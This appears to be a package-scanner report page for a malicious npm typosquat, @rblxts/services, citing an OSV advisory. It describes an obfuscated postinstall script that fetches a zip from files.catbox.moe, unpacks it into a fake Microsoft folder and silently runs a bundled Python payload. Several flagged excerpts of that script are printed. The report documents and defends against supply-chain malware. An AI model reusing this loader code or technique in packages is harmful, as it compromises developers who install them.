@rblxts/services@1.6.0: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 5d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13691 confirms this npm version as malicious. @rblxts/services is a typosquat of @rbxts/services. Its scripts/postinstall.js is heavily obfuscated: module names ('fs','https','child_process'), environment variable names, filenames, and the download URL are stored as \x hex escapes or base64 to hide them from string scanners. On Windows, the postinstall decodes a base64 URL to https://files.catbox.moe/vpfwzj.zip, downloads the archive, uses PowerShell...

Advisory

MAL-2026-13691

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @rblxts/services (npm)

Details

@rblxts/services is a typosquat of @rbxts/services. Its scripts/postinstall.js is heavily obfuscated: module names ('fs','https','child_process'), environment variable names, filenames, and the download URL are stored as \x hex escapes or base64 to hide them from string scanners. On Windows, the postinstall decodes a base64 URL to https://files.catbox.moe/vpfwzj.zip, downloads the archive, uses PowerShell Expand-Archive to unpack it into a randomly-named directory under %LOCALAPPDATA%\Microsoft, and then spawns a bundled pythonw.exe against exec_.py with detached:true, windowsHide:true and stdio ignored, unref'd from the installer process. The delivery host (files.catbox.moe) is an anonymous file locker, the URL is not pinned by hash, the staging path is hidden under a Microsoft-lookalike directory, and the entire chain fires automatically on npm install.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.16 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

8const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L8

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Findings

4 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionscripts/postinstall.js#virtual:normalized:round1

HighInstall Named Payload Filescripts/postinstall.js#virtual:normalized:round1

HighBase64 Obscured Urlscripts/postinstall.js#virtual:normalized:round1

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem